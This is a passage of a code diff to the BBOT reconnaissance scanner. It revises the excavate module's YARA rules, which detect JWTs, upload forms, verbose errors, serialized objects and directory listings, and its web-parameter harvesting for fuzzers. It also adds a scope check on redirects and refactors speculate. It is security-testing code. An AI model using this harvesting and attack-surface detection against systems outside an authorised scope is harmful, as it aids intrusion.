-            discovery_regex = r'/<form[^>]*\bmethod=["\']?post["\']?[^>]*>.*<\/form>/s nocase'
+            discovery_regex = r'/<form[^>]*\bmethod=["\']?post["\']?[^>]*>/s nocase'
             extraction_regex = bbot_regexes.post_form_regex
             output_type = "POSTPARAM"
 
@@ -563,7 +691,7 @@ class PostForm_NoAction(PostForm):
         # underscore ensure generic forms runs last, so it doesn't cause dedupe to stop full form detection
         class _GenericForm(GetForm):
             name = "Generic Form"
-            discovery_regex = r"/<form[^>]*>.*<\/form>/s nocase"
+            discovery_regex = r"/<form[^>]*>/s nocase"
 
             extraction_regex = bbot_regexes.generic_form_regex
             output_type = "GETPARAM"
@@ -582,16 +710,57 @@ def __init__(self, excavate):
                 rf'rule parameter_extraction {{meta: description = "contains Parameter" strings: {regexes_component} condition: any of them}}'
             )
 
+        async def preprocess(self, r, event, discovery_context):
+            # Override base flattener to retain per-instance YARA offsets (needed by form_body_slice).
+            description = ""
+            tags = []
+            emit_match = False
+            severity = "INFO"
+            confidence = "UNKNOWN"
+            if "description" in r.meta.keys():
+                description = r.meta["description"]
+            if "tags" in r.meta.keys():
+                tags = self.excavate.helpers.chain_lists(r.meta["tags"])
+            if "emit_match" in r.meta.keys():
+                emit_match = True
+            if "severity" in r.meta.keys():
+                severity = r.meta["severity"]
+            if "confidence" in r.meta.keys():
+                confidence = r.meta["confidence"]
+            yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence)
+
+            yara_results = {}
+            for h in r.strings:
+                instances = []
+                seen_offsets = set()
+                for i in h.instances:
+                    offset = getattr(i, "offset", 0)
+                    if offset in seen_offsets:
+                        continue
+                    seen_offsets.add(offset)
+                    instances.append((i.matched_data.decode("utf-8", errors="ignore"), offset))
+                yara_results[h.identifier.lstrip("$")] = instances
+            await self.process(yara_results, event, yara_rule_settings, discovery_context)
+
         async def process(self, yara_results, event, yara_rule_settings, discovery_context):
+            # Group yields by (type, name, url) within an identifier; extra distinct values for
+            # the same param are stashed in same_param_values so they survive WEB_PARAMETER dedup.
+            # Use event.body (property) so we hit the body-spill store; event.data["body"] is
+            # popped at spill time and would be empty here.
+            response_body = getattr(event, "body", "") or ""
             for identifier, results in yara_results.items():
-                for result in results:
-                    if identifier not in self.parameterExtractorCallbackDict.keys():
-                        raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule")
+                if identifier not in self.parameterExtractorCallbackDict.keys():
+                    raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule")
+                grouped = {}
+                submodule_name = None
+                for matched_data, match_offset in results:
                     parameterExtractorSubModule = self.parameterExtractorCallbackDict[identifier](
-                        self.excavate, result
+                        self.excavate,
+                        matched_data,
+                        response_body=response_body,
+                        match_offset=match_offset,
                     )
-
-                    # Use async for to iterate over the async generator
+                    submodule_name = parameterExtractorSubModule.name
                     async for (
                         parameter_type,
                         parameter_name,
@@ -600,7 +769,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
                         additional_params,
                     ) in parameterExtractorSubModule.extract():
                         self.excavate.debug(
-                            f"Found Parameter [{parameter_name}] in [{parameterExtractorSubModule.name}] ParameterExtractor Submodule"
+                            f"Found Parameter [{parameter_name}] in [{submodule_name}] ParameterExtractor Submodule"
                         )
 
                         # account for the case where the action is html encoded
@@ -616,8 +785,9 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
 
                         # The endpoint is usually a form action - we should use it if we have it. If not, default to URL.
                         else:
-                            # Use the original URL as the base and resolve the endpoint correctly in case of relative paths
-                            base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}{event.parsed_url.path}"
+                            # Use the effective base URL (which may differ from parsed_url for archived content)
+                            event_base = self.excavate._event_base_url(event)
+                            base_url = f"{event_base.scheme}://{event_base.netloc}{event_base.path}"
                             if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0:
                                 base_url += f"?{event.parsed_url.query}"
                             url = urljoin(base_url, endpoint)
@@ -629,26 +799,48 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
                             self.excavate.debug(f"Invalid URL [{url}]: {e}")
                             continue
 
-                        if self.excavate.helpers.validate_parameter(parameter_name, parameter_type):
-                            if self.excavate.in_bl(parameter_name) is False:
-                                description = f"HTTP Extracted Parameter [{parameter_name}] ({parameterExtractorSubModule.name} Submodule)"
-                                data = {
-                                    "host": parsed_url.hostname,
-                                    "type": parameter_type,
-                                    "name": parameter_name,
-                                    "original_value": original_value,
-                                    "url": self.excavate.url_unparse(parameter_type, parsed_url),
-                                    "additional_params": additional_params,
-                                    "assigned_cookies": self.excavate.assigned_cookies,
-                                    "description": description,
-                                }
-                                await self.report(
-                                    data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER"
-                                )
-                            else:
-                                self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match")
-                        else:
+                        if not self.excavate.helpers.validate_parameter(parameter_name, parameter_type):
                             self.excavate.debug(f"blocked parameter [{parameter_name}] due to validation failure")
+                            continue
+                        if self.excavate.in_bl(parameter_name) is not False:
+                            self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match")
+                            continue
+
+                        emit_url = self.excavate.url_unparse(parameter_type, parsed_url)
+                        group_key = (parameter_type, parameter_name, emit_url)
+                        if group_key not in grouped:
+                            grouped[group_key] = {
+                                "parsed_url": parsed_url,
+                                "values": [],
+                                "additional_params": additional_params,
+                            }
+                        group_values = grouped[group_key]["values"]
+                        if original_value not in group_values:
+                            group_values.append(original_value)
+
+                for (parameter_type, parameter_name, emit_url), group in grouped.items():
+                    values = group["values"]
+                    primary_value = values[0]
+                    same_param_values = values[1:]
+                    description = f"HTTP Extracted Parameter [{parameter_name}] ({submodule_name} Submodule)"
+                    data = {
+                        "host": group["parsed_url"].hostname,
+                        "type": parameter_type,
+                        "name": parameter_name,
+                        "original_value": primary_value,
+                        "url": emit_url,
+                        "additional_params": group["additional_params"],
+                        "assigned_cookies": self.excavate.assigned_cookies,
+                        "description": description,
+                    }
+                    if same_param_values:
+                        data["same_param_values"] = same_param_values
+                    # Stamp the discovery page URL when distinct from the form's action.
+                    # Downstream fuzzers use it for cookie/CSRF priming and as the Referer.
+                    host_url = event.url
+                    if host_url and host_url != emit_url:
+                        data["host_url"] = host_url
+                    await self.report(data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER")
 
     class CSPExtractor(ExcavateRule):
         description = "Extracts domains from CSP headers."
@@ -682,7 +874,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
     class JWTExtractor(ExcavateRule):
         description = "Extracts JSON Web Tokens."
         yara_rules = {
-            "jwt": r'rule jwt { meta: emit_match = "True" description = "contains JSON Web Token (JWT)" strings: $jwt = /\beyJ[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*/ nocase condition: $jwt }',
+            "jwt": r'rule jwt { meta: emit_match = "True" description = "contains JSON Web Token (JWT)" confidence = "CONFIRMED" strings: $jwt = /\beyJ[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*/ nocase condition: $jwt }',
         }
 
     class ErrorExtractor(ExcavateRule):
@@ -712,14 +904,15 @@ def __init__(self, excavate):
                 signature_component_list.append(rf"${signature_name} = {signature}")
             signature_component = " ".join(signature_component_list)
             self.yara_rules["error_detection"] = (
-                f'rule error_detection {{meta: description = "contains a verbose error message" strings: {signature_component} condition: any of them}}'
+                f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFO" confidence = "MEDIUM" strings: {signature_component} condition: any of them}}'
             )
 
         async def process(self, yara_results, event, yara_rule_settings, discovery_context):
             for identifier in yara_results.keys():
                 for findings in yara_results[identifier]:
                     event_data = {
-                        "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})"
+                        "name": "Possible Verbose Error Message",
+                        "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})",
                     }
                     await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING")
 
@@ -743,21 +936,22 @@ def __init__(self, excavate):
                 regexes_component_list.append(rf"${regex_name} = /\b{regex.pattern}/")
             regexes_component = " ".join(regexes_component_list)
             self.yara_rules["serialization_detection"] = (
-                f'rule serialization_detection {{meta: description = "contains a possible serialized object" strings: {regexes_component} condition: any of them}}'
+                f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFO" confidence = "MEDIUM" strings: {regexes_component} condition: any of them}}'
             )
 
         async def process(self, yara_results, event, yara_rule_settings, discovery_context):
             for identifier in yara_results.keys():
                 for findings in yara_results[identifier]:
                     event_data = {
-                        "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})"
+                        "name": "Possible Serialized Object",
+                        "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})",
                     }
                     await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING")
 
     class FunctionalityExtractor(ExcavateRule):
         description = "Detects potentially exploitable functionality and attack surface in web applications."
         yara_rules = {
-            "File_Upload_Functionality": r'rule File_Upload_Functionality { meta: description = "contains file upload functionality" strings: $fileuploadfunc = /<input[^>]+type=["\']?file["\']?[^>]+>/ nocase condition: $fileuploadfunc }',
+            "File_Upload_Functionality": r'rule File_Upload_Functionality { meta: description = "contains file upload functionality" confidence = "CONFIRMED" strings: $fileuploadfunc = /<input[^>]+type=["\']?file["\']?[^>]+>/ nocase condition: $fileuploadfunc }',
             "Web_Service_WSDL": r'rule Web_Service_WSDL { meta: emit_match = "True" description = "contains a web service WSDL URL" strings: $wsdl = /https?:\/\/[^\s]*\.(wsdl)/ nocase condition: $wsdl }',
         }
 
@@ -790,13 +984,30 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
                     except ValueError as e:
                         self.excavate.debug(f"Failed to parse netloc: {e}")
                         continue
+                    # convert websocket URLs to their HTTP equivalents
+                    if parsed_url.scheme in ["ws", "wss"]:
+                        http_scheme = "https" if parsed_url.scheme == "wss" else "http"
+                        http_url = parsed_url._replace(scheme=http_scheme).geturl()
+                        await self.report(
+                            http_url,
+                            event,
+                            yara_rule_settings,
+                            discovery_context,
+                            event_type="URL_UNVERIFIED",
+                        )
+                        continue
+
                     if parsed_url.scheme in ["http", "https"]:
                         continue
 
                     def abort_if(e):
                         return e.scope_distance > 0
 
-                    finding_data = {"host": str(host), "description": f"Non-HTTP URI: {parsed_url.geturl()}"}
+                    finding_data = {
+                        "host": str(host),
+                        "name": "Non-HTTP URI",
+                        "description": f"Non-HTTP URI: {parsed_url.geturl()}",
+                    }
                     await self.report(finding_data, event, yara_rule_settings, discovery_context, abort_if=abort_if)
                     protocol_data = {"protocol": parsed_url.scheme, "host": str(host)}
                     if port:
@@ -820,7 +1031,7 @@ class URLExtractor(ExcavateRule):
                         tags = "spider-danger"
                         description = "contains full URL"
                     strings:
-                        $url_full = /https?:\/\/([\w\.-]+)(:\d{1,5})?([\/\w\.-]*)/
+                        $url_full = /https?:\/\/(\[[0-9a-fA-F:]+\]|[\w\.-]+)(:\d{1,5})?([\/\w\.-]*)/
                     condition:
                         $url_full
                 }
@@ -840,8 +1051,12 @@ class URLExtractor(ExcavateRule):
                 """
             ),
         }
-        full_url_regex = re.compile(r"(https?)://(\w(?:[\w-]+\.?)+(?::\d{1,5})?(?:/[-\w\.\(\)]*[-\w\.]+)*/?)")
-        full_url_regex_strict = re.compile(r"^(https?):\/\/([\w.-]+)(?::\d{1,5})?(\/[\w\/\.-]*)?(\?[^\s]+)?$")
+        full_url_regex = re.compile(
+            r"(https?)://((?:\[[0-9a-fA-F:]+\]|\w(?:[\w-]+\.?)+)(?::\d{1,5})?(?:/[-\w\.\(\)]*[-\w\.]+)*/?)"
+        )
+        full_url_regex_strict = re.compile(
+            r"^(https?):\/\/(\[[0-9a-fA-F:]+\]|[\w.-]+)(?::\d{1,5})?(\/[\w\/\.-]*)?(\?[^\s]+)?$"
+        )
         tag_attribute_regex = bbot_regexes.tag_attribute_regex
 
         async def process(self, yara_results, event, yara_rule_settings, discovery_context):
@@ -942,6 +1157,34 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte
             if yara_results:
                 event.add_tag("login-page")
 
+    class DirectoryListingExtractor(ExcavateRule):
+        description = "Detects directory listing pages from web servers."
+        signatures = {
+            "Apache_Nginx": '"<title>Index of /"',
+            "IIS": '"[To Parent Directory]"',
+            "Python_HTTP_Server": '"<h1>Directory listing for"',
+            "Generic_Directory_Listing": '"<title>Directory Listing"',
+        }
+        yara_rules = {}
+
+        def __init__(self, excavate):
+            super().__init__(excavate)
+            signature_component_list = []
+            for signature_name, signature in self.signatures.items():
+                signature_component_list.append(rf"${signature_name} = {signature}")
+            signature_component = " ".join(signature_component_list)
+            self.yara_rules["directory_listing"] = (
+                f'rule directory_listing {{meta: description = "contains a directory listing" strings: {signature_component} condition: any of them}}'
+            )
+
+        async def process(self, yara_results, event, yara_rule_settings, discovery_context):
+            for identifier in yara_results.keys():
+                for findings in yara_results[identifier]:
+                    event_data = {
+                        "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})"
+                    }
+                    await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING")
+
     def add_yara_rule(self, rule_name, rule_content, rule_instance):
         rule_instance.name = rule_name
         self.yara_rules_dict[rule_name] = rule_content
@@ -969,12 +1212,13 @@ async def emit_custom_parameters(self, event, config_key, param_type, descriptio
         # Emits WEB_PARAMETER events for custom headers and cookies from the configuration.
         custom_params = self.scan.web_config.get(config_key, {})
         for param_name, param_value in custom_params.items():
+            event_base = self._event_base_url(event)
             await self.emit_web_parameter(
-                host=event.parsed_url.hostname,
+                host=self._event_host(event),
                 param_type=param_type,
                 name=param_name,
                 original_value=param_value,
-                url=self.url_unparse(param_type, event.parsed_url),
+                url=self.url_unparse(param_type, event_base),
                 description=f"HTTP Extracted Parameter [{param_name}] ({description_suffix})",
                 additional_params=_exclude_key(custom_params, param_name),
                 event=event,
@@ -992,8 +1236,11 @@ async def setup(self):
         ]
 
         self.parameter_extraction = bool(modules_WEB_PARAMETER)
-        self.speculate_params = bool(self.config.get("speculate_params", False))
+        self.speculate_params = self.config.get("speculate_params", False)
         self.remove_querystring = self.scan.config.get("url_querystring_remove", True)
+        # Bounded slice of the response body searched for a form's body, anchored
+        # at each YARA form-opening match. Caps worst-case Python re work per form.
+        self.max_form_bytes = int(self.config.get("max_form_bytes", 262144))
 
         for module in self.scan.modules.values():
             if not str(module).startswith("_"):
@@ -1015,9 +1262,11 @@ async def setup(self):
                         self.add_yara_rule(rule_name, rule_content, excavateRule)
 
         self.parameter_blacklist = set(p.lower() for p in self.scan.config.get("parameter_blacklist", []))
-        self.parameter_blacklist_prefixes = set(self.scan.config.get("parameter_blacklist_prefixes", []))
+        self.parameter_blacklist_prefixes = set(
+            p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", [])
+        )
 
-        self.custom_yara_rules = str(self.config.get("custom_yara_rules", ""))
+        self.custom_yara_rules = self.config.get("custom_yara_rules", "")
         if self.custom_yara_rules:
             custom_rules_count = 0
             if Path(self.custom_yara_rules).is_file():
@@ -1088,15 +1337,15 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon
                     if results:
                         for parameter_name, original_value in results:
                             await self.emit_web_parameter(
-                                host=str(event.host),
+                                host=self._event_host(event),
                                 param_type="SPECULATIVE",
                                 name=parameter_name,
                                 original_value=original_value,
-                                url=str(event.data["url"]),
+                                url=event.url,
                                 description=f"HTTP Extracted Parameter (speculative from {source_type} content) [{parameter_name}]",
                                 additional_params={},
                                 event=event,
-                                context=f"excavate's Parameter extractor found a speculative WEB_PARAMETER: {parameter_name} by parsing {source_type} data from {str(event.host)}",
+                                context=f"excavate's Parameter extractor found a speculative WEB_PARAMETER: {parameter_name} by parsing {source_type} data from {self._event_host(event)}",
                             )
                     return
 
@@ -1112,7 +1361,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon
 
         for label, data_instance in data_items:
             # Your existing processing code
-            for result in self.yara_rules.match(data=f"{data_instance}"):
+            for result in await self.helpers.run_in_executor_cpu(self.yara_rules.match, data=f"{data_instance}"):
                 rule_name = result.rule
 
                 # Skip specific operations for 'parameter_extraction' rule on decoded_data
@@ -1135,8 +1384,8 @@ async def handle_event(self, event, **kwargs):
                 await self.emit_custom_parameters(event, "http_cookies", "COOKIE", "Custom Cookie")
                 await self.emit_custom_parameters(event, "http_headers", "HEADER", "Custom Header")
 
-                # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the TARGET, create a WEB
-                if self.url_querystring_remove is False and str(event.parent.parent.module) == "TARGET":
+                # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the SEED, create a WEB
+                if self.url_querystring_remove is False and str(event.parent.parent.module) == "SEED":
                     self.debug(f"Processing target URL [{urlunparse(event.parsed_url)}] for GET parameters")
                     for (
                         method,
@@ -1148,7 +1397,7 @@ async def handle_event(self, event, **kwargs):
                     ) in extract_params_url(event.parsed_url):
                         if self.in_bl(parameter_name) is False:
                             await self.emit_web_parameter(
-                                host=parsed_url.hostname,
+                                host=self._event_host(event),
                                 param_type="GETPARAM",
                                 name=parameter_name,
                                 original_value=original_value,
@@ -1160,7 +1409,7 @@ async def handle_event(self, event, **kwargs):
                             )
 
             # process response data
-            body = event.data.get("body", "")
+            body = event.body
             headers = event.data.get("header-dict", {})
             if body == "" and headers == {}:
                 return
@@ -1182,12 +1431,13 @@ async def handle_event(self, event, **kwargs):
 
                             if self.in_bl(cookie_name) is False:
                                 self.assigned_cookies[cookie_name] = cookie_value
+                                event_base = self._event_base_url(event)
                                 await self.emit_web_parameter(
-                                    host=str(event.host),
+                                    host=self._event_host(event),
                                     param_type="COOKIE",
                                     name=cookie_name,
                                     original_value=cookie_value,
-                                    url=self.url_unparse("COOKIE", event.parsed_url),
+                                    url=self.url_unparse("COOKIE", event_base),
                                     description=f"Set-Cookie Assigned Cookie [{cookie_name}]",
                                     additional_params={},
                                     event=event,
@@ -1212,42 +1462,52 @@ async def handle_event(self, event, **kwargs):
                                         reported_location_header = True
                                         await self.emit_event(
                                             url_event,
-                                            context=f'excavate looked in "Location" header and found {url_event.type}: {url_event.data}',
+                                            context=f'excavate looked in "Location" header and found {url_event.type}: {url_event.url}',
                                         )
 
                             # Try to extract parameters from the redirect URL
                             if self.parameter_extraction:
-                                for (
-                                    method,
-                                    parsed_url,
-                                    parameter_name,
-                                    original_value,
-                                    regex_name,
-                                    additional_params,
-                                ) in extract_params_location(header_value, event.parsed_url):
-                                    if self.in_bl(parameter_name) is False:
-                                        await self.emit_web_parameter(
-                                            host=parsed_url.hostname,
-                                            param_type="GETPARAM",
-                                            name=parameter_name,
-                                            original_value=original_value,
-                                            url=self.url_unparse("GETPARAM", parsed_url),
-                                            description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)",
-                                            additional_params=additional_params,
-                                            event=event,
-                                            context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it",
-                                        )
+                                # Don't extract parameters from out-of-scope redirects --
+                                # they would inherit in-scope status from the parent event
+                                # and cause lightfuzz to fuzz external endpoints
+                                redirect_parsed = urlparse(redirect_location)
+                                redirect_host = redirect_parsed.hostname
+                                if redirect_host and not self.scan.in_scope(redirect_host):
+                                    self.debug(
+                                        f"Skipping parameter extraction from out-of-scope redirect to {redirect_host}"
+                                    )
+                                else:
+                                    for (
+                                        method,
+                                        parsed_url,
+                                        parameter_name,
+                                        original_value,
+                                        regex_name,
+                                        additional_params,
+                                    ) in extract_params_location(header_value, self._event_base_url(event)):
+                                        if self.in_bl(parameter_name) is False:
+                                            await self.emit_web_parameter(
+                                                host=self._event_host(event),
+                                                param_type="GETPARAM",
+                                                name=parameter_name,
+                                                original_value=original_value,
+                                                url=self.url_unparse("GETPARAM", parsed_url),
+                                                description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)",
+                                                additional_params=additional_params,
+                                                event=event,
+                                                context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it",
+                                            )
                         else:
                             self.warning("location header found but missing redirect_location in HTTP_RESPONSE")
                     if header.lower() == "content-type":
                         content_type = headers["content-type"][0]
 
             # skip PDF responses -- running YARA/regex on raw PDF bytes produces false positives and wastes time.
-            # PDFs are still processed correctly via the filedownload → extractous → RAW_TEXT pipeline,
+            # PDFs are still processed correctly via the filedownload → kreuzberg → RAW_TEXT pipeline,
             # which extracts readable text and feeds it back to excavate as a RAW_TEXT event (handled separately below).
             # TODO: remove this in favor of a proper categorization system for text vs non-text (i.e. to-be-extracted) content
             if content_type and "application/pdf" in content_type.lower():
-                self.debug(f"Skipping PDF response: {event.data.get('url', 'unknown')}")
+                self.debug(f"Skipping PDF response: {event.url or 'unknown'}")
                 return
 
             await self.search(
diff --git a/bbot/modules/internal/python.py b/bbot/modules/internal/python.py
new file mode 100644
index 0000000000..70ac6394a2
--- /dev/null
+++ b/bbot/modules/internal/python.py
@@ -0,0 +1,27 @@
+from bbot.modules.output.base import BaseOutputModule
+
+
+class python(BaseOutputModule):
+    """
+    Internal module backing ``Scanner.async_start()``. The scan loop
+    drains its incoming queue directly via ``_events_waiting`` and yields
+    events to the API caller -- there is no real worker.
+
+    Because the worker is a no-op, we override ``_increment_consumer_count``
+    so the standard ``_module_consumers`` increment is skipped. Without this,
+    every event leaks +1 on its consumer count (worker would normally
+    pair the increment with a ``_minimize()`` call in its ``finally``
+    block, but there is no worker here). The leak prevents
+    ``_minimize()``'s ``<= 0`` block from ever firing -- bodies stay in
+    memory / spill files stay on disk for the entire scan.
+    """
+
+    _type = "internal"
+    watched_events = ["*"]
+    meta = {"description": "Output via Python API", "created_date": "2022-09-13", "author": "@TheTechromancer"}
+
+    async def _worker(self):
+        pass
+
+    def _increment_consumer_count(self, event):
+        pass
diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py
index 45f3c6a6f0..4c2574c08f 100644
--- a/bbot/modules/internal/speculate.py
+++ b/bbot/modules/internal/speculate.py
@@ -3,6 +3,7 @@
 
 from bbot.core.helpers import validators
 from bbot.modules.internal.base import BaseInternalModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class speculate(BaseInternalModule):
@@ -25,32 +26,36 @@ class speculate(BaseInternalModule):
         "USERNAME",
     ]
     produced_events = ["DNS_NAME", "OPEN_TCP_PORT", "IP_ADDRESS", "FINDING", "ORG_STUB"]
-    flags = ["passive"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Derive certain event types from others by common sense",
         "created_date": "2022-05-03",
         "author": "@liquidsec",
     }
 
-    options = {"max_hosts": 65536, "ports": "80,443", "essential_only": False}
-    options_desc = {
-        "max_hosts": "Max number of IP_RANGE hosts to convert into IP_ADDRESS events",
-        "ports": "The set of ports to speculate on",
-        "essential_only": "Only enable essential speculate features (no extra discovery)",
-    }
+    class Config(BaseModuleConfig):
+        ip_range_max_hosts: int = Field(
+            65536, description="Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events"
+        )
+        ports: str = Field("80,443", description="The set of ports to speculate on")
+        essential_only: bool = Field(
+            False, description="Only enable essential speculate features (no extra discovery)"
+        )
+
     scope_distance_modifier = 1
     _priority = 4
 
-    default_discovery_context = "speculated {event.type}: {event.data}"
+    default_discovery_context = "speculated {event.type}: {event.pretty_string}"
 
     async def setup(self):
         scan_modules = [m for m in self.scan.modules.values() if m._type == "scan"]
         self.open_port_consumers = any("OPEN_TCP_PORT" in m.watched_events for m in scan_modules)
         # only consider active portscanners (still speculate if only passive ones are enabled)
-        self.portscanner_enabled = any(
-            "portscan" in m.flags and "active" in m.flags for m in self.scan.modules.values()
+        self.portscanner = next(
+            (m for m in self.scan.modules.values() if "portscan" in m.flags and "active" in m.flags),
+            None,
         )
-        self.emit_open_ports = self.open_port_consumers and not self.portscanner_enabled
+        self._always_emit_open_ports = self.open_port_consumers and self.portscanner is None
         self.range_to_ip = True
         self.dns_disable = self.scan.config.get("dns", {}).get("disable", False)
         self.essential_only = self.config.get("essential_only", False)
@@ -62,20 +67,18 @@ async def setup(self):
         except ValueError as e:
             return False, f"Error parsing ports: {e}"
 
-        if not self.portscanner_enabled:
+        if self.portscanner is None:
             self.info(f"No portscanner enabled. Assuming open ports: {', '.join(str(x) for x in self.ports)}")
-
-        target_len = len(self.scan.target.seeds)
-        if target_len > self.config.get("max_hosts", 65536):
-            if not self.portscanner_enabled:
-                self.hugewarning(
-                    f"Selected target ({target_len:,} hosts) is too large, skipping IP_RANGE --> IP_ADDRESS speculation"
-                )
-                self.hugewarning('Enabling the "portscan" module is highly recommended')
-            self.range_to_ip = False
-
         return True
 
+    def _should_emit_open_ports(self, event):
+        if not self.open_port_consumers:
+            return False
+        if self._always_emit_open_ports:
+            return True
+        # fill the gap when an active portscanner is enabled but won't scan this event
+        return self.portscanner is not None and self.portscanner.would_skip(event)
+
     async def handle_event(self, event):
         ### BEGIN ESSENTIAL SPECULATION ###
         # These features are required for smooth operation of bbot
@@ -83,11 +86,21 @@ async def handle_event(self, event):
 
         # we speculate on distance-1 stuff too, because distance-1 open ports are needed by certain modules like sslcert
         event_in_scope_distance = event.scope_distance <= (self.scan.scope_search_distance + 1)
-        speculate_open_ports = self.emit_open_ports and event_in_scope_distance
+        speculate_open_ports = self._should_emit_open_ports(event) and event_in_scope_distance
 
-        # generate individual IP addresses from IP range
-        if event.type == "IP_RANGE" and self.range_to_ip:
+        # generate individual IP addresses from IP range (only within search distance;
+        # children land at distance+1, so out-of-range CIDRs produce unreachable churn)
+        if event.type == "IP_RANGE" and event.scope_distance <= self.scan.scope_search_distance:
             net = ipaddress.ip_network(event.data)
+            num_ips = net.num_addresses
+            ip_range_max_hosts = self.config.get("ip_range_max_hosts", 65536)
+
+            if num_ips > ip_range_max_hosts:
+                self.warning(
+                    f"IP range {event.pretty_string} contains {num_ips:,} addresses, which exceeds ip_range_max_hosts limit of {ip_range_max_hosts:,}. Skipping IP_ADDRESS speculation."
+                )
+                return
+
             ips = list(net)
             random.shuffle(ips)
             for ip in ips:
@@ -114,7 +127,7 @@ async def handle_event(self, event):
                         "OPEN_TCP_PORT",
                         parent=event,
                         internal=True,
-                        context="speculated {event.type}: {event.data}",
+                        context="speculated {event.type}: {event.pretty_string}",
                     )
 
         ### END ESSENTIAL SPECULATION ###
@@ -126,7 +139,7 @@ async def handle_event(self, event):
             parent = self.helpers.parent_domain(event.host_original)
             if parent != event.data:
                 await self.emit_event(
-                    parent, "DNS_NAME", parent=event, context="speculated parent {event.type}: {event.data}"
+                    parent, "DNS_NAME", parent=event, context="speculated parent {event.type}: {event.pretty_string}"
                 )
 
         # URL --> OPEN_TCP_PORT
@@ -139,37 +152,36 @@ async def handle_event(self, event):
                     "OPEN_TCP_PORT",
                     parent=event,
                     internal=not event_is_url,  # if the URL is verified, the port is definitely open
-                    context=f"speculated {{event.type}} from {event.type}: {{event.data}}",
+                    context=f"speculated {{event.type}} from {event.type}: {{event.pretty_string}}",
                 )
 
         # speculate sub-directory URLS from URLS
         if event.type == "URL":
-            url_parents = self.helpers.url_parents(event.data)
+            url_parents = self.helpers.url_parents(event.url)
             for up in url_parents:
                 url_event = self.make_event(f"{up}/", "URL_UNVERIFIED", parent=event)
                 if url_event is not None:
                     # inherit web spider distance from parent (don't increment)
                     parent_web_spider_distance = getattr(event, "web_spider_distance", 0)
                     url_event.web_spider_distance = parent_web_spider_distance
-                    await self.emit_event(url_event, context="speculated web sub-directory {event.type}: {event.data}")
+                    await self.emit_event(
+                        url_event, context="speculated web sub-directory {event.type}: {event.pretty_string}"
+                    )
 
         # speculate URL_UNVERIFIED from URL or any event with "url" attribute
         event_is_url = event.type == "URL"
-        event_has_url = isinstance(event.data, dict) and "url" in event.data
-        event_tags = ["httpx-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else []
+        event_has_url = not event.type.startswith("URL") and isinstance(event.data, dict) and "url" in event.data
+        event_tags = ["blasthttp-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else []
         if event_is_url or event_has_url:
-            if event_is_url:
-                url = event.data
-            else:
-                url = event.data["url"]
+            url = event.url
             # only emit the url if it's not already in the event's history
-            if not any(e.type == "URL_UNVERIFIED" and e.data == url for e in event.get_parents()):
+            if not any(e.type == "URL_UNVERIFIED" and e.url == url for e in event.get_parents()):
                 await self.emit_event(
                     url,
                     "URL_UNVERIFIED",
                     tags=event_tags,
                     parent=event,
-                    context="speculated {event.type}: {event.data}",
+                    context="speculated {event.type}: {event.pretty_string}",
                 )
 
         # ORG_STUB from TLD, SOCIAL, AZURE_TENANT
@@ -196,7 +208,7 @@ async def handle_event(self, event):
                 self.org_stubs_seen.add(stub_hash)
                 stub_event = self.make_event(stub, "ORG_STUB", parent=event)
                 if stub_event:
-                    await self.emit_event(stub_event, context="speculated {event.type}: {event.data}")
+                    await self.emit_event(stub_event, context="speculated {event.type}: {event.pretty_string}")
 
         # USERNAME --> EMAIL
         if event.type == "USERNAME":
@@ -204,4 +216,4 @@ async def handle_event(self, event):
             if validators.soft_validate(email, "email"):
                 email_event = self.make_event(email, "EMAIL_ADDRESS", parent=event, tags=["affiliate"])
                 if email_event:
-                    await self.emit_event(email_event, context="detected {event.type}: {event.data}")
+                    await self.emit_event(email_event, context="detected {event.type}: {event.pretty_string}")
diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py
index f5247c8b86..060aa52828 100644
--- a/bbot/modules/internal/unarchive.py
+++ b/bbot/modules/internal/unarchive.py
@@ -7,7 +7,7 @@
 class unarchive(BaseInternalModule):
     watched_events = ["FILESYSTEM"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe"]
